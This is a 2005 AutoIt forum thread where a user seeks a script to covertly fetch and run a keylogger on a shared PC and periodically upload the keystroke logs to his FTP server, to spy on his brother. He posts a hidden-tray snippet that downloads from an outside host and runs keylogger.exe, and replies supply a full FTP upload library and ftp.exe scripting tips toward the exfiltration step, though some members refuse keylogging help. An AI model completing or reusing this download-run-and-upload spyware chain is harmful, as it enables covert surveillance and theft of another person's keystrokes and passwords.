bambus Posted December 18, 2005 Posted December 18, 2005 Hi, i´m searching for a skript which do that: it downloads a directory from my ftp. in this directory is a keylogger. the keylogger will start after the download. after 30min the script should upload the keylog.txt on my ftp,then wait 30minutes and upload keylog2.txt on myftp,wait 30 min and upload keylog3.txt,... so i can see wtf my brother do on my pc when i´m on the school-computer ;> i show you what i did for my script: #notrayicon InetGet("http://etspawn.funpic.de/keylogger/","c:\keylogger\") Sleep(10000) Run("c:\keylogger\keylogger.exe")
BigDod Posted December 18, 2005 Posted December 18, 2005 Hi,i´m searching for a skript which do that:it downloads a directory from my ftp. in this directory is a keylogger. the keylogger will start after the download. after 30min the script should upload the keylog.txt on my ftp,then wait 30minutes and upload keylog2.txt on myftp,wait 30 min and upload keylog3.txt,...so i can see wtf my brother do on my pc when i´m on the school-computer ;>i show you what i did for my script:#notrayiconInetGet("http://etspawn.funpic.de/keylogger/","c:\keylogger\")Sleep(10000)Run("c:\keylogger\keylogger.exe")It would be easier to put a password on your computer so he cant use it. Time you enjoyed wasting is not wasted time ......T.S. Elliot Suspense is worse than disappointment................Robert Burns God help the man who won't help himself, because no-one else will...........My Grandmother
erebus Posted December 18, 2005 Posted December 18, 2005 Ok and where exactly do you have a difficulty on doing this?In addition we don't give support about keylogging things here.Check this: http://www.autoitscript.com/forum/index.php?showtopic=14632
bambus Posted December 18, 2005 Author Posted December 18, 2005 i dont ask for keylogging i only ask for the script to upload a FILE on my ftp
erebus Posted December 18, 2005 Posted December 18, 2005 (edited) You can't just simply UPLOAD with AU3. Control an external program with control IDs to do the job. Edited December 18, 2005 by erebus
bambus Posted December 18, 2005 Author Posted December 18, 2005 http://www.autoitscript.com/forum/index.php?showtopic=12473and what is that?
w0uter Posted December 18, 2005 Posted December 18, 2005 You can't just simply UPLOAD with AU3. Control an external program with control IDs to do the job. [sarcasm]ofcourse you cant. there udf around the board that "claim" to do this. but infact the author is a nub[/sarcasm] check my signature My UDF's:;mem stuff_Mem;ftp stuff_FTP ( OLD );inet stuff_INetGetSource ( OLD )_INetGetImage _INetBrowse ( Collection )_EncodeUrl_NetStat_Google;random stuff_iPixelSearch_DiceRoll
bambus Posted December 18, 2005 Author Posted December 18, 2005 sry my english is bad.. can i upload filed on a ftp..or not? if not, can i send it via mail?
w0uter Posted December 18, 2005 Posted December 18, 2005 it is possible to upload. use the link you posted My UDF's:;mem stuff_Mem;ftp stuff_FTP ( OLD );inet stuff_INetGetSource ( OLD )_INetGetImage _INetBrowse ( Collection )_EncodeUrl_NetStat_Google;random stuff_iPixelSearch_DiceRoll
bambus Posted December 18, 2005 Author Posted December 18, 2005 (edited) i did.. but it dont work.. i use that skript: but i dont know where to write ftpname,pw,.. and file path ;=============================================================================== ; ; Function Name: _FTPOpen() ; Description: Opens an FTP session. ; Parameter(s): $s_Agent - Random name. ( like "myftp" ) ; $l_AccessType - I dont got a clue what this does. ; $s_ProxyName - ProxyName. ; $s_ProxyBypass - ProxyByPasses's. ; $l_Flags - Special flags. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - Returns an indentifier. ; On Failure - 0 and sets @ERROR ; Author(s): Wouter van Kesteren. ; ;=============================================================================== Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = 'etspawn', $s_ProxyBypass = 'test', $l_Flags = 0) Local $ai_InternetOpen = DllCall('wininet.dll', 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags) If @error OR $ai_InternetOpen[0]= 0 Then SetError(-1) Return 0 EndIf Return $ai_InternetOpen[0] EndFunc ;==> _FTPOpen() ;=============================================================================== ; ; Function Name: _FTPConnect() ; Description: Connects to an FTP server. ; Parameter(s): $l_InternetSession - The Long from _FTPOpen() ; $s_ServerName - Server name/ip. ; $s_Username - Username. ; $s_Password - Password. ; $i_ServerPort - Server port ( 0 is default (21) ) ; $l_Service - I dont got a clue what this does. ; $l_Flags - Special flags. ; $l_Context - I dont got a clue what this does. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - Returns an indentifier. ; On Failure - 0 and sets @ERROR ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPConnect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 0, $l_Service = 1, $l_Flags = 0, $l_Context = 0) Local $ai_InternetConnect = DllCall('wininet.dll', 'long', 'InternetConnect', 'long', $l_InternetSession, 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_InternetConnect[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_InternetConnect[0] EndFunc ;==> _FTPConnect() ;=============================================================================== ; ; Function Name: _FTPPutFile() ; Description: Puts an file on an FTP server. ; Parameter(s): $l_FTPSession - The Long from _FTPConnect() ; $s_LocalFile - The local file. ; $s_RemoteFile - The remote Location for the file. ; $l_Flags - Special flags. ; $l_Context - I dont got a clue what this does. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPPutFile($l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0) Local $ai_FTPPutFile = DllCall('wininet.dll', 'int', 'FtpPutFile', 'long', $l_FTPSession, 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPPutFile[0] EndFunc ;==> _FTPPutFile() ;=============================================================================== ; ; Function Name: _FTPDelFile() ; Description: Delete an file from an FTP server. ; Parameter(s): $l_FTPSession - The Long from _FTPConnect() ; $s_RemoteFile - The remote Location for the file. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPDelFile($l_FTPSession, $s_RemoteFile) Local $ai_FTPPutFile = DllCall('wininet.dll', 'int', 'FtpDeleteFile', 'long', $l_FTPSession, 'str', $s_RemoteFile) If @error OR $ai_FTPPutFile[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPPutFile[0] EndFunc ;==> _FTPDelFile() ;=============================================================================== ; ; Function Name: _FTPRenameFile() ; Description: Renames an file on an FTP server. ; Parameter(s): $l_FTPSession - The Long from _FTPConnect() ; $s_Existing - The old file name. ; $s_New - The new file name. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPRenameFile($l_FTPSession, $s_Existing, $s_New) Local $ai_FTPRenameFile = DllCall('wininet.dll', 'int', 'FtpRenameFile', 'long', $l_FTPSession, 'str', $s_Existing, 'str', $s_New) If @error OR $ai_FTPRenameFile[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPRenameFile[0] EndFunc ;==> _FTPRenameFile() ;=============================================================================== ; ; Function Name: _FTPMakeDir() ; Description: Makes an Directory on an FTP server. ; Parameter(s): $l_FTPSession - The Long from _FTPConnect() ; $s_Remote - The file name to be deleted. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPMakeDir($l_FTPSession, $s_Remote) Local $ai_FTPMakeDir = DllCall('wininet.dll', 'int', 'FtpCreateDirectory', 'long', $l_FTPSession, 'str', $s_Remote) If @error OR $ai_FTPMakeDir[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPMakeDir[0] EndFunc ;==> _FTPMakeDir() ;=============================================================================== ; ; Function Name: _FTPDelDir() ; Description: Delete's an Directory on an FTP server. ; Parameter(s): $l_FTPSession - The Long from _FTPConnect() ; $s_Remote - The Directory to be deleted. ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPDelDir($l_FTPSession, $s_Remote) Local $ai_FTPDelDir = DllCall('wininet.dll', 'int', 'FtpRemoveDirectory', 'long', $l_FTPSession, 'str', $s_Remote) If @error OR $ai_FTPDelDir[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_FTPDelDir[0] EndFunc ;==> _FTPDelDir() ;=============================================================================== ; ; Function Name: _FTPClose() ; Description: Closes the _FTPOpen session. ; Parameter(s): $l_InternetSession - The Long from _FTPOpen() ; Requirement(s): DllCall, wininet.dll ; Return Value(s): On Success - 1 ; On Failure - 0 ; Author(s): Wouter van Kesteren ; ;=============================================================================== Func _FTPClose($l_InternetSession) Local $ai_InternetCloseHandle = DllCall('wininet.dll', 'int', 'InternetCloseHandle', 'long', $l_InternetSession) If @error OR $ai_InternetCloseHandle[0] = 0 Then SetError(-1) Return 0 EndIf Return $ai_InternetCloseHandle[0] EndFunc ;==> _FTPClose() Edited December 18, 2005 by bambus
w0uter Posted December 18, 2005 Posted December 18, 2005 i did.. but it dont work.. i use that skript:but i dont know where to write ftpname,pw,.. and file pathdid you see the example posted with it ? My UDF's:;mem stuff_Mem;ftp stuff_FTP ( OLD );inet stuff_INetGetSource ( OLD )_INetGetImage _INetBrowse ( Collection )_EncodeUrl_NetStat_Google;random stuff_iPixelSearch_DiceRoll
bambus Posted December 18, 2005 Author Posted December 18, 2005 paah.. shit english.. dont know what you mean Oo you got msn,icq,..? or speak ger ? ^^
jonk Posted December 18, 2005 Posted December 18, 2005 paah.. shit english.. dont know what you mean Ooyou got msn,icq,..? or speak ger ? ^^http://www.autoitscript.com/forum/index.php?showtopic=12473^^ in this topic is an example which explains how to use the UDF in german:In dem Thead den Du gepostet hast gibt es ein Beispiel das den Umgang mit den UDF's erklärt.Wenn Du lieber in deutsch posten möchtest guck Dir mal das Forum von peethebee an:deutsches Autoiforum
erebus Posted December 18, 2005 Posted December 18, 2005 [sarcasm]ofcourse you cant. there udf around the board that "claim" to do this. but infact the author is a nub[/sarcasm] check my signature Oh, I'm very sorry for the misleading information, I was unaware of these UDFs. I feel really embarassed now... I don't know what to say, just respect. P.S. I just saw in your UDF this: $l_AccessType - I dont got a clue what this does. Isn't this the transfer mode that you have to set on client's side for the connection? Sorry again..
w0uter Posted December 19, 2005 Posted December 19, 2005 its what type of proxy settings it uses if i remember correctly My UDF's:;mem stuff_Mem;ftp stuff_FTP ( OLD );inet stuff_INetGetSource ( OLD )_INetGetImage _INetBrowse ( Collection )_EncodeUrl_NetStat_Google;random stuff_iPixelSearch_DiceRoll
MrSpacely Posted December 19, 2005 Posted December 19, 2005 (edited) More simple wayuse ftp program of windowsusing ftp -s:filename.ftpin autoit _rundos("ftp -s:filename.ftp") ;donot forget to include the process.au3you can write the filename.ftp with autoit using filewrite ofcourceyou can send commands in the filename.ftpand upload download etc just open cmd window (start run "cmd")type ftp -?and see optionscommands to put in filename.ftp could beput bla.txtcd somefolderpwd ;gets the current folderAlso this works connect to a ftp site with ftp.exe and type help see all commandscheckhttp://www.ss64.com/nt/ftp.htmlfor some help on ftp commandsPlease donot make keyloggers for evil things we got enough fake hackers on this planet. Edited December 19, 2005 by MrSpacely
w0uter Posted December 19, 2005 Posted December 19, 2005 only nubs use external programs btw i have already done this. (see the 'OLD' link in my sig) but this was cleaner. and afaik i solved this thread over msn. My UDF's:;mem stuff_Mem;ftp stuff_FTP ( OLD );inet stuff_INetGetSource ( OLD )_INetGetImage _INetBrowse ( Collection )_EncodeUrl_NetStat_Google;random stuff_iPixelSearch_DiceRoll
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now